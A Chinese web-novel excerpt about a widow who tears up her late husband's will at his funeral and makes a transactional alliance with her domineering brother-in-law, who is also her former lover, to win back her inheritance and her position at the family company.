《新婚夜丧夫,疯批前任强取豪夺》
第一章 葬礼上的暧昧
“嘶啦——”
清脆的撕裂声,在寂静的灵堂里显得格外刺耳。
苏亦姝将手中的遗嘱撕成了一捧碎片,纸屑顺着指缝中纷纷落下。
“苏亦姝!你疯了?!”婆婆程丽梅尖锐的咆哮着,她保养得宜的脸瞬间扭曲,“这是阿钦的遗嘱!那是法律文书!你这个毒妇,你竟然敢撕了它!”
站在程丽梅身侧的苏可人,捂住嘴,难以置信地看着苏亦姝,仿佛受了天大的委屈。
“姐姐,这是阿钦留给我最后的念想……你怎么能让他在九泉之下不得安宁……”
“念想?”
苏亦姝拍了拍手,仿佛沾上了什么不干净的东西。
“新婚之夜,拐带我丈夫私奔;车祸现场,只有你毫发无伤。苏可人,你哪来的脸拿着这份把家产全部留给你的‘遗嘱’,站在这儿恶心人?”
全场宾客哗然。
几分钟前,程丽梅带着律师和苏可人闯入,当众宣布陆钦早就立下遗嘱:名下所有股份、房产、基金,全部赠予“真爱”苏可人。
而苏亦姝这个明媒正娶的妻子,一分没有。
这一巴掌,狠狠扇在苏亦姝脸上的。
可谁也没想到,苏亦姝不哭不闹,直接上手……撕了。
“你……你胡说八道什么!”程丽梅气得浑身发抖,指着苏亦姝的鼻子。
苏可人浑身颤摆。
“姐姐,我知道你对我有偏见,但我和阿钦是真心相爱的!”
苏亦姝嗤笑一声,眼神轻蔑,像在看什么脏东西。
她越过人群,一步步逼近苏可人
苏亦姝居高临下地俯视着她,幽幽道:“上不得台面的私生女而已,我需要对你有偏见?既然你爱他爱得死去活来,不如殉葬下去陪他?”
苏可人脸色煞白,瞳孔骤缩。
“你……你说什么?”
“我说,我也大度一回,成全你们这对亡命鸳鸯。”
苏亦姝微微俯身,眼底满是戏谑。
“活着做不成夫妻,**我也能给你们烧个并骨,怎么样?够不够感人?”
“疯子!你这个疯子!”苏可人吓得连滚带爬地躲到程丽梅身后。
程丽梅护住苏可人。
“够了!你也配做我陆家的媳妇?今天我就替阿钦休了你——”
苏亦姝勾唇一笑,打出电话。
“喂,市局刑侦队吗?”
清冷的女声在灵堂回荡。
“我要报案。我丈夫陆钦车祸身亡,我怀疑,这是一起伪造成意外的****案,凶手就是苏可人。”
轰——!
****?
宾客们的眼神瞬间变了,探究、惊恐、怀疑的目光像针一样扎在苏可人身上。
苏可人尖叫破音,“苏亦姝!!!你含血喷人!”
苏亦姝挂断电话,神色淡漠。
“私奔路线只有你知道,车祸他**你却只擦破了皮?苏可人,这世上哪有那么多恰到好处的意外?”
“你、你……”程丽梅气得两眼翻白,捂着胸口就要晕倒,“反了!来人!给我按住她!”
几个粗壮的保镖瞬间冲了上来,苏亦姝砸碎酒瓶,目光凌冽的与众人对峙。
“我看谁敢!”
就在这时,人群自动向两侧分开。
陆慎穿着一身玄色西装步入灵堂,气场冷冽如冰。
他不紧不慢地走到苏亦姝面前站定,接过她手里的酒瓶,擦拭着她被划伤的手掌。
“有我在,对付这些跳梁小丑,还用你亲自动手吗?大嫂。”
这句大嫂,带着缱绻的尾音,明显透着几分恨意。
苏亦姝冷哼一声,抽出手。
“陆总如果是来看笑话的,就站远点,别溅一身血。”
陆慎!陆家真正的掌权人,陆钦的亲弟弟,那个在商场上杀伐果断的“活阎王”。
苏亦姝不想跟他有任何牵扯。
因为……她跟陆慎曾经谈过一段,她提的分手。
陆慎看着她那双布满血丝却烧着野火的眼睛,喉结滚了滚。
他直起身,杀气凛然的看向那几个保镖。
“谁给你们的胆子?”
保镖们连连后退,程丽梅顾不得仪态,上前告状。
“阿慎,这个苏亦姝,她在你哥哥的灵堂上撒泼,撕了遗嘱,还报警要抓可人!”
陆慎看向程丽梅,双眉微蹙。
“母亲,注意体面。”
程丽梅脸上表情瞬间一僵,这才意识到,自己刚才是有多失态!
陆慎看向苏亦姝,问道:“撕了?”
苏亦姝冷笑,“撕了!一份把脏水泼我头上的垃圾,留着过年?”
“撕了就撕了吧,反正也不是什么重要的东西。”
陆慎反手扣住苏亦姝冰凉的手腕,将其拽到自己身侧,抬脚在那堆碎纸屑上重重碾过,语气霸道得不容置疑。
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“大嫂是大哥明媒正娶的妻子,我会替他好好照顾你。”
他微微侧头,嘴角勾起一抹残忍又暧昧的弧度。紧接着,拉着苏亦姝越过众人离开。
“够了!陆慎,放手!”
到了无人的长廊拐角,苏亦姝猛地甩开他的手,背靠着冰冷的墙壁,胸口剧烈起伏。
掌心的伤口因为刚才的拉扯再次崩裂,鲜血顺着指尖滴落在光洁的大理石地面上,触目惊心。
陆慎停下脚步,缓缓转身。
走廊昏暗的灯光打在他侧脸上,半明半暗,将那股子阴鸷衬得愈发浓重。
“大嫂用完就扔?”陆慎低笑了一声,那笑意却未达眼底。
“苏亦姝,我就想不通。当初你为了陆钦那个废物,毫不犹豫地甩了我,转头嫁进陆家做大少夫人的时候,有没有想过会有今天?”
苏亦姝别过脸,指甲深深嵌入掌心,“人往高处走,当初陆钦是陆家名正言顺的继承人,我选他,有什么错?”
“继承人?”陆慎眼神陡然转厉,猛地扣住她的下巴,强迫她直视自己,“哪怕你知道他就是个烂泥扶不上墙的废物?哪怕知道……我能把命给你?”
苏亦姝的心脏猛地抽痛了一下。
她怎么会不知道?当年的陆慎,是一头还没长成獠牙的狼崽子,赤诚得像一团火。
可那一年的雨夜,父亲将厚厚一叠停药通知单和一份股权转让协议摔在她面前。
“亦姝,你妈在ICU每天都要烧掉几万块。贺家不管她,我也没义务一直养着个植物人。”
“陆家大少爷陆钦看上你了。只要你嫁过去,我不光承担你妈所有的后续治疗费用,送去国外最好的疗养院,苏氏集团百分之二十的股份,也作为嫁妆转给你。”
“否则……我就立刻拔了**氧气管!”
爱情在生死和利益面前,太廉价了。
她没得选。
苏亦姝闭了闭眼,将眼底涌上的酸涩生生逼了回去。再睁开眼时,只剩下一片凉薄。
“陆慎,别天真了。”她红唇微勾,字字诛心,“我要你的命做什么?又不值钱……”
陆慎的瞳孔剧烈收缩,像是被这一刀捅穿了心肺。
“好……好得很。”
他怒极反笑,指腹用力地摩挲着她苍白的唇瓣。
“既然你这么喜欢卖,那我等着你跟我谈价钱……”
第二章 前后夹敌,谈交易
医院,VIP病房。
苏亦姝从陆家灵堂离开就来医院了。
苏亦姝搬过椅子坐在床边,轻轻握住母亲贺婉微凉的手,将额头抵在手背上。
一年前,老三带着苏可人上门逼宫,气得苏亦姝的母亲心肌梗塞昏迷至今。
苏亦姝这才知道!她的好父亲,背着妈妈在外面搞出了跟她年龄相仿的私生女。
贺婉被气得昏倒后,就一直躺在了床上,没有任何苏醒的迹象。
“妈……”苏亦姝声音低哑,带着不易察觉的颤抖,“你睡了好久……该醒醒了。”
“你以前总说,女人不能把指望放在男人身上,我记住了。今天在陆钦的灵堂上,我没输。”
她扯了扯嘴角,却没什么笑意,“苏可人以为抢走陆钦,就能击垮我。她不知道,男人在我这里,从来就不是必选项。”
窗外的夜色渐浓,苏亦姝叹了口气,又絮絮叨叨说了许多。
直到护士推门进来查房,她才松开母亲的手,仔细掖好被角,转身离开。
……
苏氏大楼,总裁办。
苏亦姝刚踏出电梯,就迎面撞上苏可人那张写满得意的脸。
“姐姐,你怎么才来?”苏可人抚着还没显怀的肚子,笑得弱不禁风,“爸说你最近太累,公司的事,暂时交给我代理了。”
苏亦姝冷冷的瞥了眼苏可人,绕过她推开办公室大门。
苏振东在翻阅原本属于她的核心文件。
“爸,这是什么意思?”苏亦姝冷声问。
苏振东抬头,虚心的笑了笑:“亦姝,可人怀了陆钦的遗腹子,只要孩子生下来,就是陆家的继承人。你连陆钦的心都拴不住,又被婆婆厌弃,先去城郊的分公司待一阵子吧。”
“你要停我的职?”苏亦姝眯了眯眼眸,“为了一个见不得光的私生女,你要卸磨杀驴?”
“怎么说话呢!”
苏振东一巴掌拍在桌上,“我是为了大局!把你的门禁卡和印章留下,现在就走。”
两个保安应声而入,动作强硬地“请”她出去。
苏亦姝站在楼下,看着被收缴的门禁卡,指甲深深掐进掌心。
婆婆想把她扫地出门,亲生父亲也靠不住。
单凭她自己,根本斗不过这群**肉不吐骨头的野兽。
她需要更狠、更疯的筹码。
深夜,陆氏集团地下停车场。
一辆黑色劳斯莱斯缓缓驶出,却被一道纤细的身影死死拦住。
刺耳的刹车声响彻地库。
车窗降下,陆慎那张冷峻如神祗的脸露了出来。他指间夹着烟,烟雾缭绕中,那双深邃的眼像是在看一个不自量力的疯子。
“嫂嫂,大半夜拦小叔子的车,”陆慎慢条斯理地掸了掸烟灰,嗓音低沉且带了一丝玩味的讽刺,“传出去,陆钦的棺材板怕是压不住。”
苏亦姝没说话,径直走向后座,拉开车门坐了进去。
车内空间狭窄,冷杉味混合着烟草气瞬间侵袭了她的感官。
“陆慎,我们做个交易。”苏亦姝盯着他,眼底烧着玉石俱焚的火。
“交易?”陆慎轻笑一声,侧过身逼近她。
强大的压迫感袭来,苏亦姝被迫后仰,脊背抵在冰冷的车窗上。陆慎的手撑在她耳侧,两人的呼吸在静谧的空气中纠缠。
“嫂嫂,你现在被苏家放逐,被陆家唾弃,你一无所有,”
他的目光掠过她颤动的睫毛,落在她紧抿的红唇上,语气残忍,“你拿什么跟我谈?还是说,你以为我会看在之前的情分上,帮你?”
苏亦姝忽然伸手,指尖抚上他的领带,一寸寸收紧,强迫他低下头。
两人的鼻尖几乎相抵,近到能看清彼此眼底的倒影。
“没有情分,只谈利益,”
苏亦姝压低声音,“陆慎,我能帮你把陆家搞得鸡犬不宁。”
陆慎的眼神骤然幽暗,那是猎人看中猎物时的神色。
他猛地伸手,粗砺的虎口捏住苏亦姝小巧的下巴,力道重得让她发疼。
“帮我?”他指腹摩挲着她娇嫩的肌肤,带起一阵禁忌的酥麻。“我怕嫂嫂只是利用我,事成之后会甩了我,就像当年那样。”
苏亦姝强忍着战栗,迎着他侵略性十
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足的目光,红唇勾起一抹惊心动魄的弧度:
“那,陆总要不要合作?”
陆慎盯着她看了半晌,忽然松手,重新坐回位子,冷声吩咐司机:
“开车。”
苏亦姝知道,她赢了。
黑色的劳斯莱斯一路疾驰,最终停在了苏亦姝与陆钦那栋还没来得及褪去新婚喜气的婚房前。
陆慎拽着苏亦姝的手腕,不顾她的踉跄,一路将她拖进了主卧。
房门重重摔上!
苏亦姝还没站稳,整个人就被陆慎猛地推倒在宽大的婚床上。
陆慎欺身而上,结实的胸膛结结实实地压了下来。
他单手撑在她脸侧,另一只手慢条斯理地解开衬衫顶端的两颗扣子,露出冷硬的锁骨。
“嫂嫂,”陆慎盯着她,深邃的眼里翻涌着暴虐与情欲,嘴角勾起几分讽刺,“这地方布置得真不错,当初大哥有没有在这里……疼过你?”
苏亦姝呼吸急促,这种极近的距离让她避无可避。
她撇过头,咬牙切齿地挤出两个字:“没有……”
陆钦新婚夜就跟苏可人跑了,这间房,是她一个人的囚牢。
“哦?”陆慎发出一声意味不明的轻笑。他忽然低下头,灼热的呼吸喷洒在她颈间的敏感地带,牙齿带着惩罚性地啃咬住她的脖颈,激起苏亦姝一阵战栗。
“嫂嫂,你说大哥现在会不会就站在床头,看着他的亲弟弟……疼他的妻子?”
苏亦姝浑身僵硬。
“陆慎……”
“你当年要是不抛弃我,也不会忍受这种折辱。”
陆慎伸手掐住她的下巴,强迫她对上自己那双写满侵略性的眼。
“苏亦姝你后悔了吗?”
“我不后悔。”
陆慎对上苏亦姝的眼眸,怒火中烧。
他猛地低头,带着掠夺一切的势头狠狠吻了上去。
这不是亲吻,是吞噬。
苏亦姝仰着头,看着天花板上华丽的水晶灯。灯光在泪眼中模糊成一片破碎的光影。她纤细的手指死死抓着陆慎的后背。
这一刻起,她彻底堕入了黑暗。
第三章 隔空受孕?
晨光熹微。
苏亦姝从婚床上醒来时,身边空无一人。
一想到陆慎,昨晚几乎要把她拆吃入腹。
她尝试起身,可刚一动弹,浑身就像被重型卡车碾过一般,酸疼得几乎散架。
扶着墙走进卫生间,当她看向镜子时,整个人瞬间愣住。
镜中的身体布满了红紫的痕迹,那是陆慎昨晚一遍遍啃咬、留下的烙印。
“疯子……”苏亦姝嗓音沙哑得不像话。
这时,手机刺耳地响起,是陆家老宅发来的消息:老爷子让所有人回老宅。
苏亦姝看着身上那些根本见不得人的痕迹,深吸一口气,找来厚重的遮瑕膏一层层覆盖,最后又翻出一件黑色高领长袖裙,严丝合缝地扣到了最顶端。
……
陆家老宅,主厅。
圆桌上气氛凝重。
陆老爷子稳坐高位,陆慎坐在他左手侧,正低头漫不经心地玩着指尖的火机。
程丽梅坐在另一边,正拉着苏可人的手,志在必得地将一份报告递给老爷子:“爸,可人怀孕了,是阿钦的孩子。阿钦的遗产,必须给可人一份。”
苏亦姝推门而入,刚坐下,便感觉到一道滚烫且充满侵略性的视线锁住了她。
陆慎抬起头,隔着虚空看向她,嘴角勾起一抹玩味的弧度。
为了避开他,苏亦姝故意垂下眼帘。谁知陆慎竟站起身,长腿一迈,直接坐在了苏亦姝身侧。
这种距离,已经完全越过了叔嫂该有的界限。
程丽梅还在滔滔不绝地骂着苏亦姝:“你占着大少夫人的名头,却生不出个蛋,现在阿钦有了血脉,你竟然还想报警抓可人,你真是丧尽天良……”
桌子下,苏亦姝突然感觉大腿一沉。
陆慎那只骨节分明的大手,竟毫无顾忌地覆在了她的膝盖上,顺着裙摆的边缘若有似无地往上摩挲。
苏亦姝浑身一僵,背脊瞬间绷得笔直。那种混合着羞耻与紧张的战栗,让她几乎要叫出声来。
“嫂嫂,喝茶,润润嗓子。”陆慎面不改色地递过一杯热茶。
指尖相触的瞬间,他故意在她手背上暧昧地揉捏了一下。苏亦姝惊得手一抖,茶水险些溅出来。
“上个月中旬受孕?”苏亦姝强压下心头的荒乱,扫了眼报告,“那几天陆钦正陪我在望江市出差,同进同出,苏小姐莫非是隔空受孕?”
此言一出,苏可人脸色惨白,程丽梅也愣住了。
“哦?同进同出?”陆慎眯着眼,明显不悦。“那不如,你跟在座的叔伯长辈们细说一下细节?比如,大哥在房间里都做了什么,让他忙到……没空去造人?”
苏亦姝呼吸猛地一滞,脸上的血色瞬间褪尽。
这算什么?
当着所有人的面,羞辱她?
陆慎的手在桌下变本加厉,指尖挑逗般地勾了勾她的掌心,眼神却是一派冷肃。这种极致的感官**,让苏亦姝羞耻到了极点。
所有人的目光都**在苏亦姝身上,等着她的回答。
苏可人像是抓到了救命稻草,尖叫道:“你说啊!你说不出来就是撒谎!”
苏亦姝死死咬着牙,在桌下狠狠踩了他一脚。
她转过头,迎上陆慎深邃戏谑的眼,红唇微启,不卑不亢地说道:“上月中旬,陆钦带我去了望江出差时,我们去了万佛寺。他发愿要为陆家求一个嫡长孙,所以那几天我们茹素净身,甚至没有同房。”她冷眼看向苏可人,“怎么,苏小姐是想说,陆钦一边在万佛寺佛前发愿,一边还能抽空和你……云雨一番?”
陆慎是怒意瞬间消散,他看着苏亦姝那双由于愤怒而显得格亮亮的眸子,像极了一只亮了爪子的野猫。
他目光冷淡地扫向苏可人:“万佛寺?我记得那几天分公司确实有这笔报销。苏小姐,你所谓的偷情地点,该不会也是在佛祖眼皮子底下吧?”
“我……”苏可人被这强大的威压吓得语塞。
程丽梅急了:“阿肆!乱说什么!可人肚子里这可是你大哥的骨肉!”
苏可人立即摆着双手。“我肚子就是阿钦的孩子。你跟阿钦确实去望江市了,当时,我也跟过去了,晚上,我都是在阿钦房间过夜的。”
苏亦姝冷嗤一声。“嗤,是吗!”
“我发誓,若是我半句有假,我出门被车撞死……不得好死!”苏可人急红了眼。
“苏小姐大可不必拿这种毒誓来博同情。”陆慎修长的手指轻轻敲击着桌面,发出一声轻嗤,“陆家的种,从来不靠发誓和哭闹来证明。”
陆老爷子重重地杵了一下拐杖,全场噤声。
“够了!没影儿的事,也敢拿到台面上来丢人现眼!”陆老爷子厉声呵斥,脸上满是失望与疲惫,“一份真假不辨的遗嘱,一个还没成形的肚子,就想搅动陆家?遗嘱的事,暂时搁置。”
说完,老爷子撑着拐杖,颤巍巍地站起身,身形显得有些佝偻:“阿肆,这件事你去查。在事情水落石出前,谁再敢在老宅闹这些乌烟瘴气的事,直接家法伺候!”
一锤定音。
老爷子在管家的搀扶下转身离去,其他
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人也纷纷寻了借口溜走……
程丽梅僵在原地,脸色一阵红一阵白,难看到了极点。
拉着心有不甘的苏可人,甩手离去。
陆慎站起身,单手插兜,俯身在苏亦姝耳边低语。
“茹素净身?”他指尖在那高领处若有似无地一划,嗓音沉哑。“今晚,看看大嫂还打算怎么茹素……”
苏亦姝后背顿时一僵……有种上了贼船被套住的感觉……
耳尖传来的湿热气息,灼得她指尖发颤。
陆慎直起身,修长的手指慢条斯理地扣上西装外套的纽扣,恢复了那副矜贵冷漠、拒人于千里之外的模样。迈着长腿径直朝大厅外走去。
苏亦姝深吸一口气,强撑着酸软的身体站起来。
刚走出老宅大门,一辆黑色的劳斯莱斯便滑行到了她面前。
后座车窗降下一半,露出了陆慎那张线条凌厉的侧脸。
“上车。”简短的两个字,是不容拒绝的命令。
苏亦姝站在台阶上,逆着光看向他。“陆总,老爷子让你查真相,接下来我只需要配合你就好,没必要……”
“配合?”陆慎偏过头,深邃的黑眸里闪过一丝讥讽。
他推开车门,长臂一伸,直接扣住她的腰身将人带进了怀里。
随着车门关上的闷响,狭窄的空间内瞬间被他身上那种清冷的冷杉味侵占。
陆慎顺势将她压在真皮座椅上,指尖挑起她那件严丝合缝的高领边缘,露出了昨晚他留下的红紫,眼眸顿时一暗。
“陆慎,这里是老宅门口!”苏亦姝咬着牙,双手抵住他的胸膛,试图维持最后一丝理智,“你要疯回你的地盘去疯!”
陆慎抓住她的双手扣在头顶,另一只手缓缓下滑,按在她还没来得及消退酸疼的大腿上,眼神阴鸷又炽热。
“苏亦姝,从你昨晚拦住我的车那一刻起,你就没有任何选择权……”
他低下头,薄唇轻贴在她的颈侧,语带双关地呢喃:“别忘了,你亲爹把你发配分公司了,你那个好妹妹还等着揣着孽种进门。除了我,谁还能让你在这陆家……坐稳大少夫人的位子?”
苏亦姝闭上眼,眼底满是孤注一掷的冷绝。她主动勾住他的脖颈,仰起头,在那张薄唇上狠戾地咬了一口。
血腥味在两人唇齿间散开。
“陆慎,我要陆钦的遗产和苏振东手中所有股份。”
陆慎看着她那双烧着野火的眸子,喉结滚了滚,大掌猛地收紧。
“那就看嫂嫂……乖不乖……能不能让我满意……”
第四章 分公司立威,第一把火
城郊,苏氏分公司。
黑色迈巴赫稳稳停在略显斑驳的写字楼前。
车门打开,苏亦姝一身剪裁利落的黑色职业装,墨镜遮住了大半张脸,只露出线条冷硬的下颌。
她抬头扫了一眼这栋死气沉沉的大楼,唇角勾起一抹讥诮的弧度。
这就是苏振东给她安排的【流放地】。
“苏总。”助理海绵紧随其后,抱着厚厚的一沓文件,神色有些愤愤。
“这地方连总部的仓库都不如,苏董摆明了是想让你知难而退。”
海绵朝着苏亦姝看去,她是苏亦姝的助理,跟了好几年了。现在苏亦姝被调到分公司,她自然是跟着来的。
当时,在她主动要求跟着来的时候,不少同事都劝她留在总部。
众人都清楚,苏总是被董事长发配分公司的,能不能再进总部,都不一定。
但是,她清楚自己想要的是什么,所以,还是义无反顾地跟了过来。
“知难而退?”苏亦姝摘下墨镜,露出一双寒星般的眸子。“他是想让我死在这里,给他的宝贝私生女腾位置。走吧,去看看这潭死水里,养了多少只鬼。”
两人刚踏出电梯,一股浓郁的螺蛳粉味混合着廉价香水味扑面而来。
前台空无一人,反倒是里面的办公区热闹非凡。
“哎哟,你们听说了吗?那个‘黑寡妇’今天要来咱们这儿。”
“听说了!新婚夜老公跟亲妹妹跑了,死的时候听说都没闭眼,真是晦气!”
“我总部的朋友说了,这位大小姐就是个花瓶,是被苏董踢出来的。现在苏家真正得宠的是二小姐苏可人,肚子里还怀着陆家的种呢!”
几个打扮得花枝招展的女员工围坐在一起,一边嗑瓜子一边肆无忌惮地大笑。
海绵气得浑身发抖,正要冲上去呵斥,却被苏亦姝抬手拦住。
苏亦姝面无表情地走到那群人身后,随手拿起桌上一份沾了油渍的文件,冷淡开口:“这就是分公司的工作态度?很有闲情逸致啊。”
声音不大,却透着股让人头皮发麻的寒意。
那几个女人吓了一跳,手里的瓜子撒了一地。
为首的一个染着黄发的女人转过身,上下打量了苏亦姝一眼,眼里闪过一丝嫉妒和轻蔑。
“哟,这不是苏总吗?”女人阴阳怪气地站起来,没半点尊重的意思,“我是策划部主管**。苏总,咱们这儿偏僻,规矩没总部那么大,大家放松一下怎么了?”
此时,分公司经理周轩听到动静,满头大汗地跑了出来。
“苏……苏总!您怎么提前到了?我是周轩,实在抱歉,我……”
“周经理,”苏亦姝没看他,目光锁死在**身上,语气如刀,“现在是上午十点半。不仅聚众闲聊,还在办公区域吃重味食物。这就是你带的团队?”
周轩吓得腿一软,刚要解释,**却抢先开了口。
“苏总,您刚来可能不懂。”**双手抱胸,仗着背后有人撑腰,一脸傲慢。
“咱们分公司全靠我手里的两个大项目养着。我这人习惯放松了才有灵感,您要是看不惯,那这两个项目……我可就不敢保证进度了。”
这就是赤裸裸的威胁。
若是换做以前的苏亦姝,或许会为了大局隐忍。
但经历了灵堂那一夜,她早就不是那个任人拿捏的软柿子了。
“威胁我?”苏亦姝像是听到了什么笑话,她随手将那份沾油的文件扔进垃圾桶,发出一声闷响。
“**,你是不是觉得,你是苏可人安插在这里的狗,我就不敢动你?”
这层窗户纸一捅破,全场死寂。
**脸色骤变。“你……你胡说什么!什么狗不狗的,你这是人身攻击!我要去总部告你!”
“告我?你还是先顾好你自己吧。”苏亦姝转身,冲海绵伸出手:“拿来。”
海绵立刻递上一份蓝色文件夹。
苏亦姝翻开文件夹,并没有看**,而是像宣读判决书一样,语速平缓而致命。
“**,入职三年。利用职务之便,虚报项目经费一百二十万;上个月,将公司A级核心策划案私下转卖给竞对公司‘华泰’,获利三十万;甚
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至连公司采购的办公用品,你都要吃两成的回扣。”
随着她念出的每一个数字,**的脸就白一分,最后整个人都在发抖。
“你……你血口喷人!你有证据吗!我是策划部主管,没有我,公司的项目都要瘫痪!”**还在垂死挣扎,声嘶力竭地吼道。
“啪!”苏亦姝将一沓厚厚的转账记录和聊天截图甩在**脸上。纸张纷飞,如同一个个响亮的耳光。
“你要的证据,每一笔,每一条,我都给你列好了。”
苏亦姝逼近两步,居高临下地看着瘫软在地的**,眼神狠厉如修罗。
“至于项目?你也配谈项目?拿着公司的钱养你这样的蛀虫,才是对公司最大的侮辱。”
她转头看向已经吓傻的周轩,声音冷若冰霜。
“周经理,经侦科的人已经在楼下了。这种涉及商业犯罪的垃圾,直接送进去。三年起步,够她在牢里好好‘放松’了。”
“是……是!我马上办!”周轩擦着冷汗,看苏亦姝的眼神从敬畏变成了恐惧。
这位大小姐,哪里是花瓶?这分明是把**不眨眼的刀!
“你不能抓我!我是二小姐的人……苏可人答应过我会保我的!”**崩溃大哭,被上来的保安像拖死狗一样拖了出去。
凄厉的哭喊声在走廊回荡,办公区内几十号员工,此刻连呼吸都不敢大声。
苏亦姝站在大厅中央,目光扫过在场每一个人的脸。她没有再说一句废话,只是轻轻理了理袖口。
“二十分钟后,开会。我不想看到任何一个迟到的人。”
说完,她踩着高跟鞋,头也不回地走进总裁办公室。
海绵跟在身后,看着那个背影,心中激荡不已。她知道,从今天起,这苏氏分公司的天,变了。
而苏亦姝坐在那张布满灰尘的老板椅上,拿出手机,给置顶的那个黑色头像发了一条信息。
【分公司清理干净了。陆总,答应我的资金,什么时候到账?】
信息秒回。
【大嫂动作真快。今晚来拿,你知道规矩。】
第五章 车内交易,大嫂真是好算计
会议室内,死一般的寂静。
苏亦姝坐在首位,指尖有一搭没一搭地敲击着桌面。
这细微的声响,在众人听来,却如同审判的倒计时。
左手边的海绵腰杆挺得笔直,右手边的周轩额头已渗出细汗。
经过刚才**被经侦科带走那一幕,所有人都清醒地意识到:眼前这位苏家大小姐,绝不是传说中那个任人拿捏的豪门弃妇。她是一朵带刺的黑玫瑰,美艳,却扎手。
苏亦姝合上文件,清冷的目光扫过在场每一个人的脸,最后开口,声音不大,却透着不可抗拒的威压。
“自我介绍一下,我叫苏亦姝。从今天起,分公司将由我接手。”
没有废话,单刀直入。
周轩反应最快,立刻带头鼓掌:“欢迎苏总!”
这一次,掌声雷动,没有人敢敷衍。
苏亦姝抬手下压,掌声瞬间止住。
她微微前倾,目光如炬。“我这人公私分明。私底下你们怎么玩我管不着,但在工作上,我不养闲人,更不留蛀虫。”
她顿了顿,语气稍微缓和了一些。“我知道,分公司长期被总部边缘化,资金短缺是最大的问题。这点你们放心,资金缺口,我会补上。”
众人眼睛一亮。
“除此之外,**手里那两个用来**的亏损项目,即刻叫停。接下来,分公司所有部门主管的位置……”苏亦姝红唇微勾,眼底闪过一丝精光,“全部重新洗牌,能者居之。只要你有本事,哪怕是前台,我也能让你坐进办公室。”
一棒子打死**,又给了所有人晋升的希望。
这招恩威并施,瞬间收服了这群原本散漫的人心。
回到办公室,苏亦姝刚坐下,苏振东的电话就如期而至。
“苏亦姝!你到底想干什么!”苏振东的咆哮声几乎要震破耳膜,“你第一天去分公司就闹得鸡飞狗跳,还把经侦科招惹过去,你是嫌苏家的脸丢得还不够多吗?”
苏亦姝将手机拿远了一些,冷笑一声。“爸,你有空在这儿跟我咆哮,不如去查查你那个宝贝私生女,到底在公司安插了多少只吸血鬼。”
“你什么意思?少往可人身上泼脏水!”
“是不是脏水,您自己心里清楚。”苏亦姝语气幽幽,直戳苏振东的死穴。“**只是个主管,哪来的胆子倒卖核心机密?她背后要是没人撑腰,敢这么干?爸,您防了我一辈子,别到时候防错了人。还没闭眼,权就被那对母女夺光了……别忘记了,我苏亦姝是入了苏家族谱的,可她苏可人……”
说完,不给苏振东反应的机会,苏亦姝直接挂断电话。
苏振东生性多疑,这根刺扎下去,他和苏可人的父慈女孝,也就到头了。
苏氏总部,总裁办。
苏可人刚进门,就察觉到苏振东看她的眼神变了,带着几分审视和冷淡。
“爸,姐姐那边……”
“分公司的事不用你操心。”苏振东打断她,语气虽然还算温和,但明显有了距离感。“既然是你姐姐接手了,你就别插手了。你现在唯一的任务就是养好胎,生下陆家的金孙。”
苏可人心里“咯噔”一下,面上却乖巧点头。“知道了,爸爸。”
走出办公室,苏可人脸上的笑容瞬间消失,眼神阴毒。
苏亦姝,你个**,都被发配了还不忘给我上眼药!你给我等着!
而在分公司的苏亦姝忙到傍晚,连午饭都没顾上吃。
窗外暮色四合,手机再次震动。
只有简短的两个字,却透着不容置疑的霸道。
【下楼】
苏亦姝皱眉,刚要回拨,那边已经挂断。
她揉了揉发胀的眉心,交代完海绵后续工作,便拿着包下了楼。
公司门口的阴影处,那辆黑色的迈巴赫停在那。
车窗半降,露出陆慎那张在烟雾缭绕中显得格外冷峻的侧脸。
苏亦姝刚走近,助理陈维便恭敬地拉开后座车门。“苏小姐,请。”
苏亦姝深吸一口气,弯腰坐了进去。
车门刚关上,还没等她坐稳,一只滚烫的大手便扣住了她的腰,猛地一用力。
“啊……”
一阵天旋地转,苏亦姝直接被拽到了陆慎的腿上,被迫跨坐在他劲瘦的大腿上。
狭窄的车厢内,冷杉味混合着烟草气息瞬间将她包裹。
“陆慎!这是公司门口!”苏亦姝慌乱地抵住他的胸膛,脸颊发烫。
“那又如何?”陆慎单手掐灭烟头,另一只手极其熟练地探入她职业装的下摆,指尖带着粗粝的茧,摩挲着她敏感的腰窝。凑到她耳边,讥笑着
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。“大嫂昨晚在床上的时候,可没这么害羞。”
“你……”
“嘘。”陆慎低头,薄唇擦过她的耳廓,声音低哑磁性,“别动,让我检查一下,昨晚留下的痕迹,消了没有。”
他的吻带着惩罚性的力道,落在她的颈侧、锁骨,所过之处引起阵阵战栗。
那只不安分的手更是顺着脊背一路向上,轻易挑开了她内衣的扣子。
苏亦姝浑身发软,理智在沉沦的边缘摇摇欲坠。
陆慎的吻太具有侵略性,像是要把她整个人拆吃入腹。
就在他的手即将探入裙底最隐秘处的瞬间……
苏亦姝猛地回神,一把抓住了他的手腕。
“不行……”她喘着气,眼尾泛红,声音却努力维持着清醒,“陆慎,停下。”
陆慎动作一顿,黑眸中翻涌的情欲未退,带着一丝被打断的不悦。“怎么?大嫂这是要又要玩欲擒故纵?”
苏亦姝整理了一下凌乱的衣领,直视着他的眼睛,语气生硬地转折。
“陆总,昨天答应给分公司的三个亿资金,什么时候到账?”
狭窄的空间内,空气瞬间凝固。
刚才还暧昧旖旎的气氛,被这充满了铜臭味的一句话,瞬间击得粉碎。
陆慎盯着她看了三秒,忽然气笑了。
他松开手,靠回椅背上,眼神瞬间从滚烫转为冰冷,甚至带上了几分刻薄的嘲弄。
“苏亦姝,你还真是没让我失望。”
他伸出手,捏住她的下巴,力道大得有些发疼,语气讥讽到了极点。
“在这种时候跟我谈钱?看来在大嫂眼里,这具身子也就值这点价。是不是只要钱到位,不管是谁,都能像我这样……弄你?”
苏亦姝心脏猛地刺痛了一下,但她没有退缩,反而迎着他的目光,冷冷一笑。
“陆总说笑了。除了你,谁还能出得起这个价?既然是交易,钱货两讫,才最让人放心,不是吗?”
陆慎眼底的风暴骤然凝聚。他猛地甩开她的脸,从怀里掏出一张支票,像扔垃圾一样甩在她身上。
“滚下去。”
苏亦姝捡起支票,指尖微颤,却头也不回地推开车门。
看着那道清瘦却决绝的背影消失在夜色中,陆慎狠狠一拳砸在真皮座椅上,眼底一片猩红。
第六章 空手套白狼,反将一军
公寓里,苏亦姝拿着陆慎给她的支票,盯着那张三亿的支票,指尖发白。
她没有回跟陆钦的婚房海棠湾,而是回到了自己之前一直住着的大平层公寓。这里是她名下唯一的私产,没有陆钦的气息,也没有苏家的算计,是她灵魂最后的孤岛。
在她心里,这里,才能给她一丝归属感。
看着手中的支票,苏亦姝嘴角慢慢扬起一抹讽刺又悲痛的笑意来。
